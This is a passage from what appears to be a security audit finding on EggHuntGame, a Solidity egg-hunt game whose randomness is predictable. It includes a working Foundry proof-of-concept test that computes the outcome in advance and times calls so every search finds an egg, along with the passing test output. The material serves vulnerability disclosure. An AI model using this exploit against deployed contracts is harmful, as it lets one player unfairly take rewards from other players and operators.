The vulnerability stems from using on-chain data that is either predictable or directly accessible to users:
With all these values known, a player can precisely calculate what the resulting "random" number will be before submitting their transaction. This allows them to selectively submit transactions only when they know they will successfully find an egg, effectively turning the intended 20% probability into a 100% success rate for players who exploit this vulnerability.
pragma solidity ^0.8.23;
import "forge-std/Test.sol";
import "../src/EggstravaganzaNFT.sol";
import "../src/EggVault.sol";
import "../src/EggHuntGame.sol";
* @title RandomnessAttackTest
*/
contract RandomnessAttackTest is Test {
EggstravaganzaNFT nft;
EggVault vault;
EggHuntGame game;
address owner = address(0x1);
address player = address(0x2);
function setUp() public {
vm.startPrank(owner);
nft = new EggstravaganzaNFT("Eggstravaganza", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
nft.setGameContract(address(game));
vault.setEggNFT(address(nft));
game.startGame(3600);
game.setEggFindThreshold(25);
vm.stopPrank();
}
* @notice Generate the same random number that searchForEgg would generate
* @dev This copies the exact same algorithm from the contract
*/
function calculateEggSearchRandom(
uint256 _timestamp,
bytes32 _prevrandao,
address _searcher,
uint256 _eggCounter
) public pure returns (uint256) {
uint256 random = uint256(
keccak256(abi.encodePacked(_timestamp, _prevrandao, _searcher, _eggCounter))
) % 100;
return random;
}
* @notice Test that demonstrates a player can predict when they will find an egg
*/
function testPredictableRandomness() public {
vm.warp(1000);
vm.prevrandao(bytes32(uint256(12345)));
uint256 eggCounter = game.eggCounter();
uint256 threshold = game.eggFindThreshold();
console.log("Game parameters:");
console.log("Current timestamp:", block.timestamp);
console.log("Current egg counter:", eggCounter);
console.log("Egg find threshold:", threshold, "%");
uint256 initialPlayerEggs = game.eggsFound(player);
console.log("Player initial eggs:", initialPlayerEggs);
uint256 currentRandom = calculateEggSearchRandom(
block.timestamp,
bytes32(block.prevrandao),
player,
eggCounter
);
console.log("Current random value would be:", currentRandom);
console.log("Would find egg:", currentRandom < threshold);
bool foundFavorableTime = false;
uint256 favorableTimestamp = 0;
for (uint256 i = 0; i < 20 && !foundFavorableTime; i++) {
uint256 testTimestamp = block.timestamp + i;
uint256 testRandom = calculateEggSearchRandom(
testTimestamp,
bytes32(block.prevrandao),
player,
eggCounter
);
console.log("Time +", i, "seconds, random value:", testRandom);
if (testRandom < threshold) {
favorableTimestamp = testTimestamp;
foundFavorableTime = true;
console.log("Found favorable timestamp at current time +", i, "seconds");
break;
}
}
if (!foundFavorableTime) {
console.log("No favorable timestamp found in tested range");
vm.prank(player);
game.searchForEgg();
uint256 newPlayerEggs = game.eggsFound(player);
console.log("Player final eggs:", newPlayerEggs);
} else {
vm.warp(favorableTimestamp);
vm.prank(player);
game.searchForEgg();
uint256 newPlayerEggs = game.eggsFound(player);
console.log("Player final eggs:", newPlayerEggs);
assertTrue(
newPlayerEggs > initialPlayerEggs,
"Player should find an egg at the predicted favorable time"
);
}
}
* @notice Test that shows a player can achieve a 100% success rate by timing searches
*/
function testGuaranteedEggFinding() public {
vm.warp(2000);
vm.prevrandao(bytes32(uint256(54321)));
uint256 initialEggs = game.eggsFound(player);
console.log("Initial player eggs:", initialEggs);
uint256 targetEggs = 5;
uint256 searchAttempts = 0;
uint256 currentEggCounter = game.eggCounter();
for (uint256 i = 0; i < targetEggs; i++) {
bool found = false;
for (uint256 j = 0; j < 100 && !found; j++) {
uint256 testTimestamp = block.timestamp + j;
uint256 random = calculateEggSearchRandom(
testTimestamp,
bytes32(block.prevrandao),
player,
currentEggCounter
);
if (random < game.eggFindThreshold()) {
vm.warp(testTimestamp);
vm.prank(player);
game.searchForEgg();
searchAttempts++;
currentEggCounter = game.eggCounter();
found = true;
console.log("Found egg at timestamp:", testTimestamp);
}
}
if (!found) {
console.log("Could not find a favorable timestamp for egg", i + 1);
break;
}
}
uint256 finalEggs = game.eggsFound(player);
console.log("Final player eggs:", finalEggs);
console.log("Total search attempts:", searchAttempts);
uint256 successRate = (finalEggs - initialEggs) * 100 / searchAttempts;
console.log("Success rate:", successRate, "%");
assertTrue(
successRate > game.eggFindThreshold(),
"Success rate should be higher than the game's threshold"
);
}
}
forge test --match-path test/RandomnessAttackSimple.t.sol -vvv
[⠆] Compiling...
[⠑] Compiling 1 files with Solc 0.8.28
[⠘] Solc 0.8.28 finished in 353.27ms
Compiler run successful!
Ran 2 tests for test/RandomnessAttackSimple.t.sol:RandomnessAttackTest
[PASS] testGuaranteedEggFinding() (gas: 363498)
Logs:
Initial player eggs: 0
Found egg at timestamp: 2002
Found egg at timestamp: 2002
Found egg at timestamp: 2009
Found egg at timestamp: 2014
Found egg at timestamp: 2015
Final player eggs: 5
Total search attempts: 5
Success rate: 100 %
[PASS] testPredictableRandomness() (gas: 167634)
Logs:
Game parameters:
Current timestamp: 1000
Current egg counter: 0
Egg find threshold: 25 %
Player initial eggs: 0
Current random value would be: 23
Would find egg: true
Time + 0 seconds, random value: 23
Found favorable timestamp at current time + 0 seconds
Player final eggs: 1
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 912.30µs (593.70µs CPU time)
Ran 1 test suite in 3.36ms (912.30µs CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
The impact of this vulnerability is severe, undermining the core functionality and fairness of the game: